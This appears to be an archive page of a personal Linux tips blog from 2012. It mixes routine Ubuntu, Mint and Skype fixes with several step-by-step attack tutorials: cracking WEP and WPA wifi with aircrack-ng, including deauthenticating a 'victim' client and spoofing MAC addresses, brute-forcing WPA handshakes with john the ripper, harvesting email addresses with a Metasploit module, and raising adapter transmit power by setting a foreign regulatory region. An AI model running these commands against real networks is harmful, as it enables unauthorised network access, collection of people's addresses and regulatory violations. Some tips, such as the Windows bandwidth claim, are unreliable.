Posts

Showing posts from 2012

Uninstalling shopping lense in Ubuntu 12.1

Most people find this rather annoying. Use the following command to remove the ''feature''.

sudo apt-get remove unity-lens-shopping

Ubuntu 12.1 - wireless not working after system update

Fix:



sudo apt-get install linux-headers-generic
sudo apt-get install --reinstall bcmwl-kernel-source
sudo modprobe wl

Ubuntu - adding and removing ppas

Install

sudo apt-add-repository ppa:user/repository 

Uninstall

sudo apt-add-repository -r ppa:user/repository

Scid vs PC installation guide - Ubuntu (Mint, Debian etc.)

Scid vs PC Scid vs PC is definitely the best and most comprehensive chess software for Linux.  Unfortunately I struggled quite a bit to get it up and running.

Before I start: You might prefer to watch the video. Otherwise keep on reading.


Open a terminal and execute the following commandssudo apt-get install auto-apt build-essential sudo auto-apt update-local sudo auto-apt update sudo auto-apt updatedbNow make sure you got both tcl8.5-dev and tk8.5-dev installedsudo apt-get install tcl8.5-dev tcl8.5 sudo apt-get install tk8.5-dev tk8.5
Some users are reporting problems on Ubuntu 14.04.
sudo apt-get install tcl8.6-dev tcl8.6 sudo apt-get install tk8.6-dev tk8.6 libgcj15-dev
The 'x' refers to the current release: e.g. 4.9.tgz
download scid vs pc: http://sourceforge.net/projects/scidvspc/files/source/scid_vs_pc-4.9.tgz/download
tar -xzf scid_vs_pc-4.xx.tgz cd scid_vs_pc-4.x sudo auto-apt run ./configure sudo auto-apt run make sudo auto-apt run make install This should work. If you en…

Kernel driver not installed (rc=-1908) - Ubuntu 12.10 (Virtualbox)

try this:


sudo apt-get install linux-headers-3.5.0-17-generic
sudo apt-get remove virtualbox-dkms
sudo apt-get install virtualbox-dkms

Ubuntu - wireless is disabled by hardware switch

sudo rfkill unblock wifi

Title bar gone - Linux Mint 13 xfce

your titlebar is gone & you can't close, minimize etc. your windows?

solution

open terminal
xfwm4


if it says  that xfwm4 is already running, type:

xfwm4 --replace


email harvesting (backtrack 5)

open terminal


msfconsole search gather use auxiliary/gather/search_email_collector set domain (e.g. xyz.com) run

thats it.

How to be anonymous on the internet (99-100%)

Image
Updated: 06/2016

Summary: Tor Browser is not enough. This short tutorial will help you to significantly improve your security in only 15 minutes. 

Your online privacy is under attack. Government agencies (NSA, FBI etc.) and private companies (e.g. Google) are snooping on you. You will find a lot of tips on the web to achieve online anonymity, but most of it is useless.

The information below will give you a rock-solid setup in a reasonable amount of time. If you run into any problems post a comment and I will help you out.

It is possible to avoid being tracked, but to stay anonymous online you need a) a good setup and b) use your common sense.
My setup | User -> VPN -> Tor -> Internet Using Tor alone is often not enough as a Harvard student had to learn when he emailed a bomb threat to campus officials to avoid having to write a final exam.  He was deanonymized by the fact that he was the only person using Tor on the campus network at the time the email was sent.
A VPN will hi…

Brute forcing WPA/WPA2 handshake with john the ripper

Please refer to this article for a tutorial on how to obtain a handshake.

How to crack WPA/WPA 2 with aircrack-ng (Backtrack 5) 

The limitation of a dictionary attack is that unless the password is in your dictionary file, your attack won't be successful. Another way to obtain the password is to brute force it with john the ripper. In theory it is possible to crack ANY password with this method, but it might take a million years to crack a full 128 ASCII characters password with your computer.

Ok, the command:

This was on Backtrack
/pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b (bssid) -w file.cap (wpa handshake file)

Debian
sudo apt-get install john
/usr/sbin/john --stdout --incremental:all | aircrack-ng -b (bssid) -w file.cap (wpa handshake file)


By default john will only try passwords with 8 characters or less. However, the minimum  pass-phrase length for WPA is 8.You need to edit the john.conf file to change the max length of the output.

"--inrecemtal:a…

no such file or directory: nautilus - truecrypt

Just installed truecrypt on Mint 13. Mounting an encrypted file worked, but I could not open the drive itself. The solution is to simply install nautilus.

sudo apt-get install nautilus

How to increase your bandwidth in Win 7

Exceptionally a tip for Win 7. Windows uses up to 20% of the bandwidth, but you can change this with the following steps.

Run gpedit.msc

==> administrative settings ==>  network ==> qos packet scheduler ==> open LIMIT RESERVABLE BANDWIDTH

==> click on ENABLE and limit bandwidth to 0%.

Restart.

Thats it!

Linux Mint 13 - Black screen fix (live USB)

Recently I switched from Ubuntu to Linux Mint 13 on my HP mini netbook. Unfortunately I encountered a  'black-screen problem' similar to the one I already knew from Backtrack 5 (http://ubuntu-skype.blogspot.co.at/2012/07/backtrack-5-black-screen-after-startx.html ).

The solution was:

press TAB
add to the line  "..... ...... .... quiet splash "one of the following (depending on your chip set of your video card):

radeon.modeset=1
i915.modeset=1

If that does not work for you try to add "driver=intel". E.g. quiet splash i915.modeset=1 driver=intel.


I had success with that. Hope it works for you too!

Displaying system and hardware information in Linux

Most information is stored in the /proc file. For example to obtain CPU or memory information simply enter:

cat /proc/meminfo
cat /proc/cpuinfo



How to set your Alfa wireless adapter to 30dbm (1000mW)

Please be aware that there are country restrictions on maximum power.

Commands

iw reg set BO
iwconfig  wlan0 txpower 30


That's it. You can check your settings with iwconfig.

How to crack WEP with aircrack-ng (Backtrack)

Image
Anybody should be able to do this. If you struggle with something, post a comment and I' ll get back to you.

Requirements
- Backtrack (or Linux with aircrack-ng installed)
- Virtual machine (e.g. Vmware or Virtualbox)
- USB Wifi adapter (you will need a wifi adapter which you can put in promiscuous mode. It wont work with your built-in notebook wifi card etc.) Buy this one: Alfa AWUS036H . It is cheap, reliable and works out of the box.

Commands
airmon-ng stop wlan0ifconfig wlan0 downmacchanger -m 00:11:22:33:44:55 wlan0ifconfig wlan0 upairmon-ng start wlan0 ifconfig mon0 downmacchanger -r (random mac) mon0ifconfig mon0 upairodump-ng mon0 (scan for APs)Wait for a minuteCTRL + C (stop scanning)Pick your own AP with WEP encryptionairodump-ng -c (channel) -w (filename) —bssid (xx:xx:xx:xx:xx:xx) mon0-w file, in which the data will be saved.—You need around 10k of data to successfully crack WEP—Open another consoleaireplay-ng -1 0 -a (BSSID) -e (ESSID) mon0Wait for ”Association succcess…

How to crack WPA/WPA 2 with aircrack-ng (Backtrack 5)

Image
What you needBacktrack (or Linux with aircrack-ng installed)Virtual machine (e.g. Vmware or Virtualbox)Password listUSB Wifi adapter capable of promiscuous mode: Alfa AWUS036H


Alright, fire up the terminal.

Commands airmon-ngairmon-ng start wlan0ifconfig mon0 downmacchanger -m 00:11:22:33:44:55 mon0ifconfig mon0 upairodump-ng mon0 (let it scan for a minute)CTRL + C (stop)airodump-ng -c (channel) -w (filename. eg. wpa) —bssid (xx:xx:xx:xx:xx:xx) mon0Now, we need to deauthenticate a user's pc currently on the network (mac)open another consoleaireplay-ng --deauth 1 (just one!) -e (ESSID) -c  (victim's mac) mon0Wait for WPA handshake ==> airodump-ng—-all cracking can be done offline—-aircrack-ng -w (wordlist) file (eg. WPA-01.cap)this is the file from step 8 Note: Success of attack depends on whether your word-list contains the password or not.
Video

Any problems? Ask!


''another skype instance may exist''

You wan't to login to skype, but you can't because you receive the following error: ''another skype instance may exist''.

This seems to be a common problem with Skype and Ubuntu.

Solution:

1) Open the terminal. (Dash Home: type: terminal)
2) Type ps aux
3) Look for the skype process and the process number
4) Type kill -9 xxxx (process nr. eg. 4557)
5) Start Skype and login.

Does this work for you? Leave me a comment!

Locales for Windows XP and Windows Server 2003

0436 = "af;Afrikaans"
041C = "sq;Albanian"
0001 = "ar;Arabic"
0401 = "ar-sa;Arabic (Saudi Arabia)"
0801 = "ar-iq;Arabic (Iraq)"
0C01 = "ar-eg;Arabic (Egypt)"
1001 = "ar-ly;Arabic (Libya)"
1401 = "ar-dz;Arabic (Algeria)"
1801 = "ar-ma;Arabic (Morocco)"
1C01 = "ar-tn;Arabic (Tunisia)"
2001 = "ar-om;Arabic (Oman)"
2401 = "ar-ye;Arabic (Yemen)"
2801 = "ar-sy;Arabic (Syria)"
2C01 = "ar-jo;Arabic (Jordan)"
3001 = "ar-lb;Arabic (Lebanon)"
3401 = "ar-kw;Arabic (Kuwait)"
3801 = "ar-ae;Arabic (you.A.E.)"
3C01 = "ar-bh;Arabic (Bahrain)"
4001 = "ar-qa;Arabic (Qatar)"
042D = "eu;Basque"
0402 = "bg;Bulgarian"
0423 = "be;Belarusian"
0403 = "ca;Catalan"
0004 = "zh;Chinese"
0404 = "zh-tw;Chinese (Taiwan)"
0804 = "zh-cn;Chinese (China)"
0C04 = &q…

Backtrack 5 (R2) - Black screen fix (USB)

Boot from USB
Press TAB key (opens the grub options for the live boot)
Change "text splash vga=791" to "text splash vga=791 i915.modeset=1".
ENTER
Wait
startx